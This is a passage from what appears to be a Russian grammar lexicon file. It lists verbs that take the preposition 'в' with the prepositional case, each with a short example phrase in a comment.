// разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // сплетничают в комнате rus_verbs:раздевать{}, // раздевать в кабинке rus_verbs:окопаться{}, // окопаться в лесу rus_verbs:загорать{}, // загорать в Испании rus_verbs:подпевать{}, // подпевать в церковном хоре rus_verbs:прожужжать{}, // прожужжать в динамике rus_verbs:изучаться{}, // изучаться в дикой природе rus_verbs:заклубиться{}, // заклубиться в воздухе rus_verbs:подметать{}, // подметать в зале rus_verbs:подозреваться{}, // подозреваться в совершении кражи rus_verbs:обогащать{}, // обогащать в специальном аппарате rus_verbs:издаться{}, // издаться в другом издательстве rus_verbs:справить{}, // справить в кустах нужду rus_verbs:помыться{}, // помыться в бане rus_verbs:проскакивать{}, // проскакивать в словах rus_verbs:попивать{}, // попивать в кафе чай rus_verbs:оформляться{}, // оформляться в регистратуре rus_verbs:чирикать{}, // чирикать в кустах rus_verbs:скупить{}, // скупить в магазинах rus_verbs:переночевать{}, // переночевать в гостинице rus_verbs:концентрироваться{}, // концентрироваться в пробирке rus_verbs:одичать{}, // одичать в лесу rus_verbs:ковырнуть{}, // ковырнуть в ухе rus_verbs:затеплиться{}, // затеплиться в глубине души rus_verbs:разгрести{}, // разгрести в задачах залежи rus_verbs:застопориться{}, // застопориться в начале списка rus_verbs:перечисляться{}, // перечисляться во введении rus_verbs:покататься{}, // покататься в парке аттракционов rus_verbs:изловить{}, // изловить в поле rus_verbs:прославлять{}, // прославлять в стихах rus_verbs:промочить{}, // промочить в луже rus_verbs:поделывать{}, // поделывать в отпуске rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии rus_verbs:подстеречь{}, // подстеречь в подъезде rus_verbs:прикупить{}, // прикупить в магазине rus_verbs:перемешивать{}, // перемешивать в кастрюле rus_verbs:тискать{}, // тискать в углу rus_verbs:купать{}, // купать в теплой водичке rus_verbs:завариться{}, // завариться в стакане rus_verbs:притулиться{}, // притулиться в углу rus_verbs:пострелять{}, // пострелять в тире rus_verbs:навесить{}, // навесить в больнице инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш }, rus_verbs:нежиться{}, // нежится в постельке rus_verbs:притомиться{}, // притомиться в школе rus_verbs:раздвоиться{}, // раздвоиться в глазах rus_verbs:навалить{}, // навалить в углу rus_verbs:замуровать{}, // замуровать в склепе rus_verbs:поселяться{}, // поселяться в кроне дуба rus_verbs:потягиваться{}, // потягиваться в кровати rus_verbs:укачать{}, // укачать в поезде rus_verbs:отлеживаться{}, // отлеживаться в гамаке rus_verbs:разменять{}, // разменять в кассе rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде rus_verbs:ржаветь{}, // ржаветь в воде rus_verbs:уличить{}, // уличить в плагиате rus_verbs:мутиться{}, // мутиться в голове rus_verbs:растворять{}, // растворять в бензоле rus_verbs:двоиться{}, // двоиться в глазах rus_verbs:оговорить{}, // оговорить в договоре rus_verbs:подделать{}, // подделать в документе rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети rus_verbs:растолстеть{}, // растолстеть в талии rus_verbs:повоевать{}, // повоевать в городских условиях rus_verbs:прибраться{}, // гнушаться прибраться в хлеву rus_verbs:поглощаться{}, // поглощаться в металлической фольге rus_verbs:ухать{}, // ухать в лесу rus_verbs:подписываться{}, // подписываться в петиции rus_verbs:покатать{}, // покатать в машинке rus_verbs:излечиться{}, // излечиться в клинике rus_verbs:трепыхаться{}, // трепыхаться в мешке rus_verbs:кипятить{}, // кипятить в кастрюле rus_verbs:понастроить{}, // понастроить в прибрежной зоне rus_verbs:перебывать{}, // перебывать во всех европейских столицах rus_verbs:оглашать{}, // оглашать в итоговой части rus_verbs:преуспевать{}, // преуспевать в новом бизнесе rus_verbs:консультироваться{}, // консультироваться в техподдержке rus_verbs:накапливать{}, // накапливать в печени rus_verbs:перемешать{}, // перемешать в контейнере rus_verbs:наследить{}, // наследить в коридоре rus_verbs:выявиться{}, // выявиться в результе rus_verbs:забулькать{}, // забулькать в болоте rus_verbs:отваривать{}, // отваривать в молоке rus_verbs:запутываться{}, // запутываться в веревках rus_verbs:нагреться{}, // нагреться в микроволновой печке rus_verbs:рыбачить{}, // рыбачить в открытом море rus_verbs:укорениться{}, // укорениться в сознании широких народных масс rus_verbs:умывать{}, // умывать в тазике rus_verbs:защекотать{}, // защекотать в носу rus_verbs:заходиться{}, // заходиться в плаче инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш }, деепричастие:искупав{}, деепричастие:искупая{}, rus_verbs:заморозить{}, // заморозить в холодильнике rus_verbs:закреплять{}, // закреплять в металлическом держателе rus_verbs:расхватать{}, // расхватать в магазине rus_verbs:истязать{}, // истязать в тюремном подвале rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете rus_verbs:подогреть{}, // подогрей в микроволновке rus_verbs:подогревать{}, rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку rus_verbs:проделать{}, // проделать в стене дыру инфинитив:жениться{ вид:соверш }, // жениться в Техасе инфинитив:жениться{ вид:несоверш }, глагол:жениться{ вид:соверш }, глагол:жениться{ вид:несоверш }, деепричастие:женившись{}, деепричастие:женясь{}, прилагательное:женатый{}, прилагательное:женившийся{вид:соверш}, прилагательное:женящийся{}, rus_verbs:всхрапнуть{}, // всхрапнуть во сне rus_verbs:всхрапывать{}, // всхрапывать во сне rus_verbs:ворочаться{}, // Собака ворочается во сне rus_verbs:воссоздаваться{}, // воссоздаваться в памяти rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу инфинитив:атаковать{ вид:соверш }, глагол:атаковать{ вид:несоверш }, глагол:атаковать{ вид:соверш }, прилагательное:атакованный{}, прилагательное:атаковавший{}, прилагательное:атакующий{}, инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени инфинитив:аккумулировать{вид:соверш}, глагол:аккумулировать{вид:несоверш}, глагол:аккумулировать{вид:соверш}, прилагательное:аккумулированный{}, прилагательное:аккумулирующий{}, //прилагательное:аккумулировавший{ вид:несоверш }, прилагательное:аккумулировавший{ вид:соверш }, rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию rus_verbs:вырасти{}, // Он вырос в глазах коллег. rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо. rus_verbs:убить{}, // убить в себе зверя инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани инфинитив:абсорбироваться{ вид:несоверш }, глагол:абсорбироваться{ вид:соверш }, глагол:абсорбироваться{ вид:несоверш }, rus_verbs:поставить{}, // поставить в углу rus_verbs:сжимать{}, // сжимать в кулаке rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы инфинитив:активизироваться{ вид:соверш }, глагол:активизироваться{ вид:несоверш }, глагол:активизироваться{ вид:соверш }, rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе rus_verbs:базировать{}, // установка будет базирована в лесу rus_verbs:барахтаться{}, // дети барахтались в воде rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины rus_verbs:блуждать{}, // Туристы блуждали в лесу rus_verbs:брать{}, // Жена берет деньги в тумбочке rus_verbs:бродить{}, // парочки бродили в парке rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде rus_verbs:вариться{}, // Курица варится в кастрюле rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году rus_verbs:прокручиваться{}, // Ключ прокручивается в замке rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке rus_verbs:храниться{}, // Настройки хранятся в текстовом файле rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле rus_verbs:витать{}, // Мальчик витает в облаках rus_verbs:владычествовать{}, // Король владычествует в стране rus_verbs:властвовать{}, // Олигархи властвовали в стране rus_verbs:возбудить{}, // возбудить в сердце тоску rus_verbs:возбуждать{}, // возбуждать в сердце тоску rus_verbs:возвыситься{}, // возвыситься в глазах современников rus_verbs:возжечь{}, // возжечь в храме огонь rus_verbs:возжечься{}, // Огонь возжёгся в храме rus_verbs:возжигать{}, // возжигать в храме огонь rus_verbs:возжигаться{}, // Огонь возжигается в храме rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь rus_verbs:вознамериться{}, // вознамериться уйти в монастырь rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове rus_verbs:возникнуть{}, // Новые идейки возникли в голове rus_verbs:возродиться{}, // возродиться в новом качестве rus_verbs:возрождать{}, // возрождать в новом качестве rus_verbs:возрождаться{}, // возрождаться в новом амплуа rus_verbs:ворошить{}, // ворошить в камине кочергой золу rus_verbs:воспевать{}, // Поэты воспевают героев в одах rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами rus_verbs:воспеть{}, // Поэты воспели в этой оде героев rus_verbs:воспретить{}, // воспретить в помещении азартные игры rus_verbs:восславить{}, // Поэты восславили в одах rus_verbs:восславлять{}, // Поэты восславляют в одах rus_verbs:восславляться{}, // Героя восславляются в одах rus_verbs:воссоздать{}, // воссоздает в памяти образ человека rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека rus_verbs:воссоздаться{}, // воссоздаться в памяти rus_verbs:вскипятить{}, // вскипятить в чайнике воду rus_verbs:вскипятиться{}, // вскипятиться в чайнике rus_verbs:встретить{}, // встретить в классе старого приятеля rus_verbs:встретиться{}, // встретиться в классе rus_verbs:встречать{}, // встречать в лесу голодного медведя rus_verbs:встречаться{}, // встречаться в кафе rus_verbs:выбривать{}, // выбривать что-то в подмышках rus_verbs:выбрить{}, // выбрить что-то в паху rus_verbs:вывалять{}, // вывалять кого-то в грязи rus_verbs:вываляться{}, // вываляться в грязи rus_verbs:вываривать{}, // вываривать в молоке rus_verbs:вывариваться{}, // вывариваться в молоке rus_verbs:выварить{}, // выварить в молоке rus_verbs:вывариться{}, // вывариться в молоке rus_verbs:выгрызать{}, // выгрызать в сыре отверствие rus_verbs:выгрызть{}, // выгрызть в сыре отверстие rus_verbs:выгуливать{}, // выгуливать в парке собаку rus_verbs:выгулять{}, // выгулять в парке собаку rus_verbs:выдолбить{}, // выдолбить в стволе углубление rus_verbs:выжить{}, // выжить в пустыне rus_verbs:Выискать{}, // Выискать в программе ошибку rus_verbs:выискаться{}, // Ошибка выискалась в программе rus_verbs:выискивать{}, // выискивать в программе ошибку rus_verbs:выискиваться{}, // выискиваться в программе rus_verbs:выкраивать{}, // выкраивать в расписании время rus_verbs:выкраиваться{}, // выкраиваться в расписании инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере глагол:выкупаться{вид:соверш}, rus_verbs:выловить{}, // выловить в пруду rus_verbs:вымачивать{}, // вымачивать в молоке rus_verbs:вымачиваться{}, // вымачиваться в молоке rus_verbs:вынюхивать{}, // вынюхивать в траве следы rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду rus_verbs:выпачкаться{}, // выпачкаться в грязи rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков rus_verbs:выращивать{}, // выращивать в теплице помидоры rus_verbs:выращиваться{}, // выращиваться в теплице rus_verbs:вырыть{}, // вырыть в земле глубокую яму rus_verbs:высадить{}, // высадить в пустынной местности rus_verbs:высадиться{}, // высадиться в пустынной местности rus_verbs:высаживать{}, // высаживать в пустыне rus_verbs:высверливать{}, // высверливать в доске отверствие rus_verbs:высверливаться{}, // высверливаться в стене rus_verbs:высверлить{}, // высверлить в стене отверствие rus_verbs:высверлиться{}, // высверлиться в стене rus_verbs:выскоблить{}, // выскоблить в столешнице канавку rus_verbs:высматривать{}, // высматривать в темноте rus_verbs:заметить{}, // заметить в помещении rus_verbs:оказаться{}, // оказаться в первых рядах rus_verbs:душить{}, // душить в объятиях rus_verbs:оставаться{}, // оставаться в классе rus_verbs:появиться{}, // впервые появиться в фильме rus_verbs:лежать{}, // лежать в футляре rus_verbs:раздаться{}, // раздаться в плечах rus_verbs:ждать{}, // ждать в здании вокзала rus_verbs:жить{}, // жить в трущобах rus_verbs:постелить{}, // постелить в прихожей rus_verbs:оказываться{}, // оказываться в неприятной ситуации rus_verbs:держать{}, // держать в голове rus_verbs:обнаружить{}, // обнаружить в себе способность rus_verbs:начинать{}, // начинать в лаборатории rus_verbs:рассказывать{}, // рассказывать в лицах rus_verbs:ожидать{}, // ожидать в помещении rus_verbs:продолжить{}, // продолжить в помещении rus_verbs:состоять{}, // состоять в группе rus_verbs:родиться{}, // родиться в рубашке rus_verbs:искать{}, // искать в кармане rus_verbs:иметься{}, // иметься в наличии rus_verbs:говориться{}, // говориться в среде панков rus_verbs:клясться{}, // клясться в верности rus_verbs:узнавать{}, // узнавать в нем своего сына rus_verbs:признаться{}, // признаться в ошибке rus_verbs:сомневаться{}, // сомневаться в искренности rus_verbs:толочь{}, // толочь в ступе rus_verbs:понадобиться{}, // 